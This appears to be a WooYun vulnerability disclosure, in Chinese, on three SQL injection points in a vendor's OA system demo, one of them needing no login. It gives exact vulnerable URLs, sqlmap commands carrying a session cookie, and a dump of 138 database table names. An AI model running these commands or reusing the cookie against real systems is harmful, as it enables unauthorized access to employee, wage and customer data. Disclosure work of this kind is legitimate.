WooYun.org

只测试了官方的demo
地址：http://oa.515158.com
第一处：

http://oa.515158.com/ntko/FileEdit.php?fileType=word&FileId=51515800000&filenumber=514238140820103755&officetype=1&uid=2&date=2014-08-20%2010:37:55

FileId存在注入，此注入点无需登录

一共有138个表
Database: oa2013
[138 tables]
+-----------------------------+
| tempaq |
| toa_ads |
| toa_app |
| toa_app_flow |
| toa_app_flow_view |
| toa_app_log |
| toa_app_option |
| toa_app_title |
| toa_app_type |
| toa_approval |
| toa_attachment |
| toa_bbs |
| toa_bbs_log |
| toa_bbsclass |
| toa_blog |
| toa_book |
| toa_book_read |
| toa_book_type |
| toa_communication |
| toa_conference |
| toa_conference_record |
| toa_config |
| toa_crm_business |
| toa_crm_care |
| toa_crm_company |
| toa_crm_complaints |
| toa_crm_contact |
| toa_crm_contract |
| toa_crm_db |
| toa_crm_flow |
| toa_crm_form |
| toa_crm_log |
| toa_crm_offer |
| toa_crm_order |
| toa_crm_payment |
| toa_crm_personnel |
| toa_crm_personnel_log |
| toa_crm_pord_type |
| toa_crm_price |
| toa_crm_prod_view |
| toa_crm_product |
| toa_crm_program |
| toa_crm_purchase |
| toa_crm_service |
| toa_crm_stock |
| toa_crm_supplier |
| toa_department |
| toa_distribution |
| toa_document |
| toa_document_type |
| toa_duty |
| toa_duty_log |
| toa_duty_user |
| toa_file |
| toa_file_read |
| toa_file_type |
| toa_fileoffice |
| toa_goods_purchase |
| toa_goods_purchase_view |
| toa_goods_type |
| toa_human_db |
| toa_human_form |
| toa_human_info |
| toa_humancontract |
| toa_job |
| toa_job_demand |
| toa_job_hire |
| toa_job_talent |
| toa_keytable |
| toa_knowledge |
| toa_loginlog |
| toa_menu |
| toa_mobile_model |
| toa_news |
| toa_news_read |
| toa_news_type |
| toa_ntkohtmlfile |
| toa_ntkoofficefile |
| toa_ntkopdffile |
| toa_oalog |
| toa_office_goods |
| toa_office_goods_key |
| toa_office_goods_record |
| toa_office_goods_stock |
| toa_office_type |
| toa_online |
| toa_personnel |
| toa_personnel_log |
| toa_phone_channel |
| toa_phone_receive |
| toa_phone_send |
| toa_plan |
| toa_plugin |
| toa_position |
| toa_project |
| toa_project_db |
| toa_project_duty |
| toa_project_duty_log |
| toa_project_flow |
| toa_project_from |
| toa_project_log |
| toa_project_model |
| toa_project_personnel |
| toa_project_personnel_log |
| toa_project_template |
| toa_project_type |
| toa_property |
| toa_property_depreciation |
| toa_property_type |
| toa_registration |
| toa_registration_log |
| toa_rewards |
| toa_seal |
| toa_session |
| toa_sms_receive |
| toa_sms_send |
| toa_training |
| toa_training_record |
| toa_upload |
| toa_user |
| toa_user_view |
| toa_usergroup |
| toa_wage |
| toa_wage_basis |
| toa_wage_data |
| toa_wage_log |
| toa_wage_type |
| toa_web |
| toa_workclass |
| toa_workclass_charts |
| toa_workclass_db |
| toa_workclass_flow |
| toa_workclass_from |
| toa_workclass_personnel |
| toa_workclass_personnel_log |
| toa_workclass_template |
| toa_workclass_type |
| toa_workdate |
+-----------------------------+
第二处注入：

http://oa.515158.com/admin.php?ischeck=&ac=file_read&do=list&fileurl=file&vuidtype=&type=1&number=&title=&vstartdate=&venddate=

number参数存在注入，需带cookie

sqlmap -u "http://oa.515158.com/admin.php?ischeck=&ac=file_read&do=list&fileurl=file&vuidtype=&type=1&number=&title=&vstartdate=&venddate=" --cookie "toa_auth=Mgk4NzE0ODY4OWJjZDE3Mjg3NGFjMDllOWE1Y2Y4MzlmZQ%3D%3D" -p "number" --current-db

第三处注入：

http://oa.515158.com/admin.php?ac=department&fileurl=wage&do=log&wid=132

wid参数存在注入需带上cookie

sqlmap -u "http://oa.515158.com/admin.php?ac=department&fileurl=wage&do=log&wid=132" -p "wid" --cookie "toa_auth=Mgk4NzE0ODY4OWJjZDE3Mjg3NGFjMDllOWE1Y2Y4MzlmZQ%3D%3D" --current-user